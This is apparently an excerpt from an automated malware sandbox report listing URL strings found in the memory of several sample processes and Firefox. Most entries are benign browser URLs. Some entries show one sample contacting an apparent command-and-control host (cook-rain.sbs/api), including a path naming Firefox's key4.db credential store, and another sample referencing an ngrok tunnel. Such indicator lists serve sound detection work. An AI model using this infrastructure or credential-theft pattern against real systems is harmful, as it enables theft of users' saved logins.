Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A146000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/sessionstore/Sessio
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A1E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/actors/PopupBlockingPare
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A1B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/PrivateBrowsingU
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A1E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/addons/GMPProvid
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A1E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulsrc=image
Source: 8ab7de79e4.exe, 00000009.00000002.3483431837.000000001DB06000.00000004.00000020.00020000.00000000.sdmp, 8ab7de79e4.exe, 00000009.00000002.3538031276.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: 51d383286f.exe, 00000008.00000003.3009530162.0000000005E70000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3199305846.00000000058CC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3326689392.000001D16E6E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3386798370.000001D175EF3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 51d383286f.exe, 00000008.00000003.3009530162.0000000005E70000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3199305846.00000000058CC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3326689392.000001D16E6E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3386798370.000001D175EF3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000001B.00000002.3329197186.000001D16E94D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://MD8.mozilla.org/1/m
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3163697186.000001D16DD3E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3321471198.000001D16DB10000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000003.3164018257.000001D16DD60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3163063831.000001D16DF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3163383057.000001D16DD1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/instrumentCustomElementClass
Source: 51d383286f.exe, 00000008.00000003.2973536576.0000000005E76000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.2973191720.0000000005E79000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.2973268764.0000000005E76000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3146597961.00000000058C6000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3146425805.00000000058C9000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3146886534.00000000058C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000001B.00000002.3376789596.000001D1717C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.c
Source: firefox.exe, 0000001B.00000002.3311784302.000001D16B076000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001B.00000003.3228042025.000001D1761C3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.comK
Source: firefox.exe, 0000001B.00000002.3369971998.000001D170840000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3361240494.000001D1703AB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001B.00000002.3299157222.000001D15F770000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser-check--disable-popup-blockin
Source: firefox.exe, 0000001B.00000002.3352359893.000001D16F514000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwderIdL
Source: e5323e2eed.exe, 00000007.00000003.2835253190.00000000071A2000.00000004.00001000.00020000.00000000.sdmp, e5323e2eed.exe, 00000007.00000002.3407975740.00000000007FA000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/test
Source: e5323e2eed.exe, 00000007.00000003.2835253190.00000000071A2000.00000004.00001000.00020000.00000000.sdmp, e5323e2eed.exe, 00000007.00000002.3407975740.00000000007FA000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://ace-snapper-privately.ngrok-free.app/test/testFailed
Source: firefox.exe, 0000001B.00000002.3335121581.000001D16EB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3331315127.000001D16EAB1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3263332602.000001D16F986000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 0000001B.00000002.3329197186.000001D16E92B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3405593566.00002FA5A8204000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://allegro.pl/
Source: firefox.exe, 0000001B.00000002.3311784302.000001D16B076000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3404410635.00001A5AF9C04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 0000001B.00000002.3318960215.000001D16D603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3385166704.000001D175D9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org
Source: firefox.exe, 0000001B.00000002.3385166704.000001D175D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 0000001B.00000002.3389931176.000001D1760D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: firefox.exe, 0000001B.00000002.3404410635.00001A5AF9C04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://baidu.com
Source: 51d383286f.exe, 00000008.00000003.3011691298.00000000017EC000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3211487644.00000000058AD000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3210658120.00000000058AC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3311784302.000001D16B076000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: 51d383286f.exe, 00000008.00000003.3011691298.00000000017EC000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3226697967.00000000058AC000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3210658120.00000000058AC000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3229528008.00000000058AC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3311784302.000001D16B076000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: firefox.exe, 0000001B.00000003.3249825534.000001D16F3C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A1B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A1B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180Required
Source: firefox.exe, 0000001B.00000002.3386798370.000001D175E48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 0000001B.00000002.3386798370.000001D175E48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 0000001B.00000002.3386798370.000001D175E48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 0000001B.00000002.3386798370.000001D175E48000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: 51d383286f.exe, 00000008.00000003.2973536576.0000000005E76000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.2973191720.0000000005E79000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.2973268764.0000000005E76000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3146597961.00000000058C6000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3146425805.00000000058C9000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3146886534.00000000058C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 51d383286f.exe, 00000008.00000003.2973536576.0000000005E76000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.2973191720.0000000005E79000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.2973268764.0000000005E76000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3146597961.00000000058C6000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3146425805.00000000058C9000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3146886534.00000000058C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 51d383286f.exe, 00000008.00000003.2973536576.0000000005E76000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.2973191720.0000000005E79000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.2973268764.0000000005E76000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3146597961.00000000058C6000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3146425805.00000000058C9000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3146886534.00000000058C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 0000001B.00000002.3389931176.000001D1760D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3164018257.000001D16DD60000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3163063831.000001D16DF00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.3163383057.000001D16DD1D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001B.00000002.3326689392.000001D16E669000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3329197186.000001D16E903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net
Source: firefox.exe, 0000001B.00000002.3394413519.000001D176390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/
Source: firefox.exe, 0000001B.00000002.3329197186.000001D16E92B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: 51d383286f.exe, 00000008.00000003.3011691298.00000000017EC000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3226697967.00000000058AC000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3210658120.00000000058AC000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3229528008.00000000058AC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3311784302.000001D16B076000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: 51d383286f.exe, 00000008.00000003.3011691298.00000000017EC000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3211487644.00000000058AD000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3210658120.00000000058AC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3311784302.000001D16B076000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: firefox.exe, 0000001B.00000002.3326689392.000001D16E669000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3391699036.000001D176143000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com
Source: firefox.exe, 0000001B.00000002.3326689392.000001D16E669000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/
Source: firefox.exe, 0000001B.00000003.3233212247.000001D175DCE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3389931176.000001D1760D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: 51d383286f.exe, 0000000A.00000003.3269565015.0000000001429000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3163012431.0000000001428000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/
Source: 51d383286f.exe, 0000000A.00000003.3272449951.000000000142D000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3196838983.0000000001428000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3298934223.000000000142D000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000002.3425142798.000000000142E000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3298881732.000000000142B000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3232209864.0000000001428000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3228649790.0000000001415000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3269565015.0000000001429000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/(
Source: 51d383286f.exe, 0000000A.00000003.3196838983.0000000001428000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/1
Source: 51d383286f.exe, 0000000A.00000003.3298934223.000000000142D000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000002.3425142798.000000000142E000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3298881732.000000000142B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/2
Source: 51d383286f.exe, 00000008.00000003.2989979578.00000000017CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/4
Source: 51d383286f.exe, 0000000A.00000002.3425142798.000000000142E000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3232209864.0000000001428000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3228649790.0000000001415000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/5
Source: 51d383286f.exe, 0000000A.00000002.3425142798.000000000142E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/=
Source: 51d383286f.exe, 00000008.00000003.2989979578.00000000017CA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/K
Source: 51d383286f.exe, 00000008.00000003.3052144579.0000000001774000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.3063411149.0000000001774000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/L
Source: 51d383286f.exe, 0000000A.00000003.3170943113.0000000001416000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3244123981.0000000001416000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3267972488.0000000001416000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api
Source: 51d383286f.exe, 0000000A.00000003.3232971727.0000000001439000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3232209864.0000000001428000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3228649790.0000000001415000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api-00
Source: 51d383286f.exe, 0000000A.00000002.3420531192.0000000001388000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000002.3425142798.000000000142E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api9
Source: 51d383286f.exe, 0000000A.00000003.3232971727.0000000001439000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3188153504.0000000001439000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3232209864.0000000001428000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3228649790.0000000001415000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apiP
Source: 51d383286f.exe, 0000000A.00000003.3232971727.0000000001439000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3232209864.0000000001428000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3228649790.0000000001415000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apib
Source: 51d383286f.exe, 0000000A.00000003.3188153504.0000000001439000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apipder
Source: 51d383286f.exe, 0000000A.00000003.3269950101.0000000001421000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3197389828.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3272128939.0000000001423000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3163062280.0000000001415000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3228649790.0000000001415000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3199096134.0000000001415000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3269773517.000000000141E000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3203469986.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000002.3425142798.0000000001426000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3232590171.000000000141B000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3170943113.0000000001416000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apiyrmj?
Source: 51d383286f.exe, 0000000A.00000003.3196838983.0000000001428000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/d
Source: 51d383286f.exe, 00000008.00000003.3027483496.0000000001777000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/j
Source: 51d383286f.exe, 00000008.00000003.3005078237.0000000001774000.00000004.00000020.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.3063411149.0000000001774000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs:443/api
Source: 51d383286f.exe, 0000000A.00000002.3420531192.0000000001388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs:443/apical
Source: 51d383286f.exe, 0000000A.00000002.3420531192.0000000001388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs:443/apirsion.txtPK
Source: 51d383286f.exe, 0000000A.00000002.3420531192.0000000001388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs:443/apix/v6zchhhv.default-release/key4.dbPK
Source: firefox.exe, 0000001B.00000002.3388893559.000001D175F70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: e5323e2eed.exe, 00000007.00000002.3407975740.00000000007FA000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: e5323e2eed.exe, 00000007.00000002.3407975740.00000000007FA000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: e5323e2eed.exe, 00000007.00000003.2835253190.00000000071A2000.00000004.00001000.00020000.00000000.sdmp, e5323e2eed.exe, 00000007.00000002.3407975740.00000000007FA000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: firefox.exe, 0000001B.00000002.3358978481.000001D16F966000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIEffectiveTLDServi
Source: firefox.exe, 0000001B.00000002.3388893559.000001D175F70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 0000001B.00000002.3388893559.000001D175F70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 0000001B.00000002.3388893559.000001D175F70000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 0000001B.00000002.3311784302.000001D16B076000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3404410635.00001A5AF9C04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 0000001B.00000002.3391699036.000001D17618E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: 51d383286f.exe, 00000008.00000003.2973536576.0000000005E76000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.2973191720.0000000005E79000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.2973268764.0000000005E76000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3146597961.00000000058C6000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3146425805.00000000058C9000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3146886534.00000000058C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 51d383286f.exe, 00000008.00000003.2973536576.0000000005E76000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.2973191720.0000000005E79000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.2973268764.0000000005E76000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3146597961.00000000058C6000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3146425805.00000000058C9000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3146886534.00000000058C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 51d383286f.exe, 00000008.00000003.2973536576.0000000005E76000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.2973191720.0000000005E79000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 00000008.00000003.2973268764.0000000005E76000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3146597961.00000000058C6000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3146425805.00000000058C9000.00000004.00000800.00020000.00000000.sdmp, 51d383286f.exe, 0000000A.00000003.3146886534.00000000058C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001B.00000002.3321471198.000001D16DB10000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3312661630.000001D16B21C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3314336374.000001D16B465000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3311784302.000001D16B0C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sCan
Source: firefox.exe, 0000001B.00000002.3311784302.000001D16B0C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 0000001B.00000002.3311784302.000001D16B0C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 0000001B.00000002.3404410635.00001A5AF9C04000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ebay.comP
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3314336374.000001D16B465000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3311784302.000001D16B0C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%schrome://extensions/content/schemas/manifest.jsona
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A1E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A146000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A1E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001B.00000002.3309373504.000001D16A1E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
